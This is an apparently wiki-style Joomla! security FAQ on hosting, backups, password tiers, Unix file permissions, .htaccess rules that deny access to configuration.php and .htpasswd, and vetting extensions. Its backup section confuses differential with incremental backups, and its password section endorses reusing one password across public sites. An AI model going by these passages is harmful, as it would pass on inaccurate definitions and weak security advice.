* '''Proactive server management:''' Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they've responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.

* '''Require raw log access:''' Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.

* '''Performance matters:''' Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.

* '''Data center:''' Choose a host that manages it's own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.

* '''Know your neighbors:''' Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.

* '''Visit the Joomla Resources Directory (JRD) [http://resources.joomla.org/directory/support-services/hosting.html hosting section]:''' If you are looking for a Joomla Host, please ensure you make your own investigations as to the services offered and whether they suit your needs or not.

* '''Grow with your site:''' As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) '''dedicated servers''' offer the best possible security and performance, but at the highest expense, 2) '''virtual servers''' offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.

==What are the best practices for site backups?==

: There are three traditional backup types--full, cumulative and differential.

'''Full Backups'''
: A complete backup of all associated files and database at a known point in time.

: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.

'''Cumulative Backups'''
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.

'''Incremental Backups'''
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.

: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.

: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.

: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night's backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.

: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially "over-filling" the file-system.

'''Data Protection Best Practice says'''

# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.
# A good backup practice is to store backups away from the current data location, preferably off site.
# Dynamic data should be backed up ''offline'' or ''hot'' to avoid ''fuzzy'' backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.

: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.

: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven't modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.

==Where can I learn about vulnerable extensions?==
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]

==Where can I learn more about file permissions?==
{{underconstruction}}

* Unix Permissions Primer
* Windows Permissions Primer]
* Using phpSuExec]

==How do I setup a powerful password scheme?==

'''Overview'''

: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.

'''Directions'''

* '''Level 5 (Public)''' - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it's more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!

* '''Level 4 (Webmaster)''' - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn't apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.

* '''Level 3 (Webmaster)''' - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn't matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!

* '''Level 2 (Personal Data Access)''' - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!

* '''Level 1 (Banking!)''' - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!

= Joomla! Core =

==How can I check my Joomla! installation's overall security and health?==

: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.

: Project Home: http:// joomlacode. org/gf/project/jts/ (gone away)

==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==

# Login to your Joomla! sites Administration site
# From the menu, select Extensions -> Module Manager
# From within the Module Manager, select Administrator
# From the Icon Menu (top right), select New
# From the choices available, select Feeds Display
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL
# Select cpanel as the position
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel
# Select Save from the Icon Menu (top right)
# Go back to your Admin Site main page (Site -> Control Panel) and you should see your newly built Security Feed.

: You can also use this technique to deliver your own "Customer Updates" to sites that you build for others. It's a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they'll see your latest news.

==Why should I immediately change the name of the default admin user after a new install?==

'''Overview'''

: All new Joomla installations start with a Super Administrator account called, 'admin'. During the installation process, you will be asked to give this account a password. That's great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they're in.

: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.

'''Directions'''

# Log into the Back End
# Select User Manager
# Select the 'admin' user record
# Change the value in username. (Good user names contain a mix of letters and numbers.)
# Save
# Remember the new username!

== Why does the Back-End session stay alive even though I set it to expire? ==

: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:

# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it's never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it's remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.

==How do I turn off RG_EMULATION? {{JVer|1.0}}==

'''Overview'''

: PHP's ''register_globals'' option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input.

: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance!

: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP ''register_globals'', but it's still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with ''register_globals'' turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don't use such extensions.

'''Joomla! 1.0.13'''

: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.

'''Joomla! 1.0.12 and earlier'''

: Edit the file, ''globals.php'', found in the root directory of your Joomla! site. At about line 23 change:

define('RG_EMULATION',1)

: to

define('RG_EMULATION',0)

==What do Error 1, Error 2, and Error 3 mean?==

'''Error 1 = FATAL ERROR: MySQL not supported...'''

You need to compile MySQL support into PHP or the MySQL server is down.

'''Error 2 = FATAL ERROR: Connection to database ...'''

Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in ''configuration.php'', or you are trying to access a database table with the wrong table prefix.

'''Error 3 = FATAL ERROR: Database not found...'''

The database cannot be found. Check the database settings in ''configuration.php''

The MySQL variables in ''configuration.php'' (found in Joomla!'s root directory) can be modified to correct these problems.

For Joomla! 1.0.xx
$mosConfig_host = 'localhost';
$mosConfig_user = 'accountname__username';
$mosConfig_password = 'userpassword';
$mosConfig_db = 'accountname_dbName';
$mosConfig_dbprefix = 'jos_';

Modifying the ''$mosConfig_host'' to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.

==How do UNIX file permissions work?==

Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;

Owner Permissions : Control your own access to files.
Group Permissions : Control access for you and anyone in your group.
Other Permissions : Control access for all others.

In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.

'''What do Unix permissions look like?'''

When viewing your files through an FTP client or from the servers command line;

filename.php username usergroup rwx r-x r-x

The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.

'''Owner (User) relates to username'''

The Owner (User) is normally you, these permissions will be enforced on your hosting account name.

'''Group relates to usergroup'''

The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.

'''Other relates to everyone else'''

The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;

r = Read permissions
w = Write permissions
x = Execute permissions

Owner Group Other
r w x r w x r w x

As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Thus...

4+2+1 4+2+1 4+2+1
= 7 7 7

The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;

Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories;

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either "apache" and "apache" or "nobody" and "nobody" as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.

640 = rw- r-- ---
Owner has Read and Write
Group has Read only
Other has no rights

The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.

750 = rw- r-x ---
Owner has Read and Write
Group has Read and Execute
Other has no rights

Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to "Execute" commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the "Read" command, thus cannot deliver your file to the users web browser.

'''How Does this Relate to Joomla?'''

Good question, well in the first instance this would be important during the Web-Installer process.
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for "Writable" permissions to be too vague.

Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term ''writable'' is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where ''write'' permissions maybe set;

Owner Writable
Group Writable
Other Writable

Also remembering that the Web Server generally doesn't run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the "Other" permissions that will apply to it. If the "Other" permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not ''writable''.

In this case, you will need to configure the Other permissions to be "7" on the directories listed in the Web Installer.
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.

757 = rwx r-x rwx
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read, Write and Execute

Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the ''other'' permissions, may not be required, now you may only need to configure directories to be ''writable'' to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read and Execute

775 = rwx rwx r-x
Owner has Read, Write and Execute
Group has Read, Write and Execute
Other has Read and Execute

The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.

644 = rw- r-- r--
Owner has Read, Write
Group has Read
Other has Read

This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have "Writable" to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.

If your server needed directory permissions to be set to "Other" Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have "Write" access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.

If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.

In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!

I know this isn't as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure "7" settings can be reset back to something more secure. For example:
Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories,

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (" / ") of your Joomla! installation, then run:

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;

If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the ''configuration.php'' file.

Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.

If you decide to use ''caching'' the cache directory will need to be ''writable'' by the Web server user to allow it to write its temporary files.

==What are the recommended file and directory permissions?==

Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.

==How can I avoid using chmod 0777 to enable installs?==

On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.

'''Directions'''

# Edit the Apache user.conf file and tell apache to run under the FTP account.
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.

'''Optional'''

# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well

==Isn't locating all Joomla! files inside public_html a security risk?==

'''Short answer'''

Potentially, yes. Your site can be secure, but you must be careful and vigilant.

'''Long answer'''

A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.

Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.

As long as you want the entire world to view your public_html directory there is no problem. After all, that's exactly what it's designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.

If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.

One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include and require. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.

'''The incredible lightness of living outside the fence'''

To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.

Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.

Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.

'''Joomla! defense'''

Despite it's apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.

'''The challenge'''

The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.

This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you'll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)

During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.

The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.

To (Deny, then Allow), or (Allow, then Deny)?

The real problem with the above "all known" qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.

Consider the logic for a password authentication script. We have essentially two choices:
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.
# First deny all access, then allow any username/password combination that DOES match the approved list.

Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.

Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it's not usually a security breach.

'''The good news'''

# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation.
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.

==How do I adjust Joomla 1.5 defines {{JVer|1.5}}==

There are two defines files that will generally need to be edited. /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.

define( 'JPATH_ROOT' , implode( DS, $parts ) );
define( 'JPATH_SITE' , JPATH_ROOT );
define( 'JPATH_CONFIGURATION', JPATH_ROOT );
define( 'JPATH_ADMINISTRATOR', JPATH_ROOT . DS . 'administrator' );
define( 'JPATH_LIBRARIES' , JPATH_ROOT . DS . 'libraries' );
define( 'JPATH_INSTALLATION' , JPATH_ROOT . DS . 'installation' );

.DS. = Directory Seperator

==Moving sensitive files outside the web root==
{{:Moving sensitive files outside the web root}}

Moving sensitive files is now documented at: http://docs.joomla.org/Moving_sensitive_files_outside_the_web_root

==How do I block direct access to critical files using .htaccess?==
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you are finished.
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.

<Files .htaccess>
order allow,deny
deny from all
</Files>

<FilesMatch "configuration.php">
Order allow,deny
Deny from all
</FilesMatch>

You can also protect a lot of file extensions in one single rule. Exemple (the file names between ' '''(''' ' and ' ''')''' ' in this rule are the file extensions to protect ):

<FilesMatch "\.(htaccess|htpasswd|ini|phps|log|sh|conf)$">
Order allow,deny
Deny from all
</FilesMatch>

==How do I recursively adjust file and directory permissions?==

'''Using Joomla! Administration'''

In the Back-end, go to Site --> Global Configuration --> Server.

'''Using the UNIX shell'''

'''Note:''' The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;
chmod 707 images
chmod 707 images/stories
chown apache:apache cache

'''Notes:'''
# Test all third party extensions after changing permissions.
# You may need to reset write permissions to install more extensions.

==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==

Use Joomla version 1.5 or newer

A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.

Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.

'''More Help'''
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]

==Why isn't restricting access by IP recommended?==

Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker's actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.

= Joomla! Extensions =

==Why are there vulnerable extensions?==

A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions].

: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.

: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla's success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others' Web sites.

: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.

==What is a vulnerable extension?==

A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.

Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:

# Know the version numbers of all installed extensions.
# Use only the latest stable version of all extensions.
# Completely remove all files of insecure or unused extensions.

==How do I choose secure extensions?==

: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.

: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:

1. When was the last version released?

: If it has been over a year, consider the project abandoned and find something else. Do not install old components.

2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)

: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.

3. Does the extension have a history of good security practices?

: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.

4. Is there a support community for this extension?

: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.

5. Is there only a Mambo version of this extension?

: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.

6. Is the extension generally bug free?

: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:

'''Bad Practices:'''

# Having PHP's Register Globals enabled.
# Using out of date or abandoned extension.
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)
# Poorly configured file permissions.
# No request filtering or software "firewall". (such as mod_rewrite rules or mod_security Apache modules)

'''Bugs:'''

# Not including defined('_VALID_MOS') or die... statements
# Poorly constructed include() statements.

'''Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.'''

1. How complex is the extension?

: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can't tell what it's doing, you should not trust it.

2. Does the extension read or write files to your server?

: Programs that read files may inadvertently violate access restrictions you've set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.

3. Does the extension interact with other programs on your system?

: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?

4. Does the extension run with suid (set-user-id) privileges?

: In general this is very dangerous; extensions need an excellent reasons for doing this.

5. Does the extension validate all user input, such as in form fields and in the URL?

6. Does the extension use explicit path names when invoking external programs?

: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.

7. Is the extension secure against direct access throught the URL?

: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here

8. Is the extension secure against remote file inclusions?

9. Is the extension secure against SQL injections?

10. Is the extension secure against Cross Site Scripting (XSS)?

11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON?

: If so, then it is probably violating number 7 above.

12. Does the extension provide higher database access to less privileged users?

: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?

==Why does the Extensions site include insecure extensions?==
'''
Overview'''

The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.

If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.

To be safe, you must verify the security of every extension you install.

Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril.

'''Disclaimer'''

: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.

: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.

==Why is there a warning in the extensions install screen?==

It's just a warning! You are of course free to install any extension you want onto your own site, but remember that '''YOU''' are responsible for the safety of your site and the quality of the applications you install.

The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension's code.

The [[Vulnerable Extensions List]] is a valuable source of information on what '''NOT''' to install.

==Why isn't un-publishing a vulnerable extension enough to protect my site?==

'''Overview'''

: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension's files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.

www.your_site.org/components/com_bad_component/vulnerable_file.php
www.your_site.org/modules/mod_bad_module/vulnerable_file.php

'''Directions for removing a vulnerable extension'''

1. Make a list of files to remove

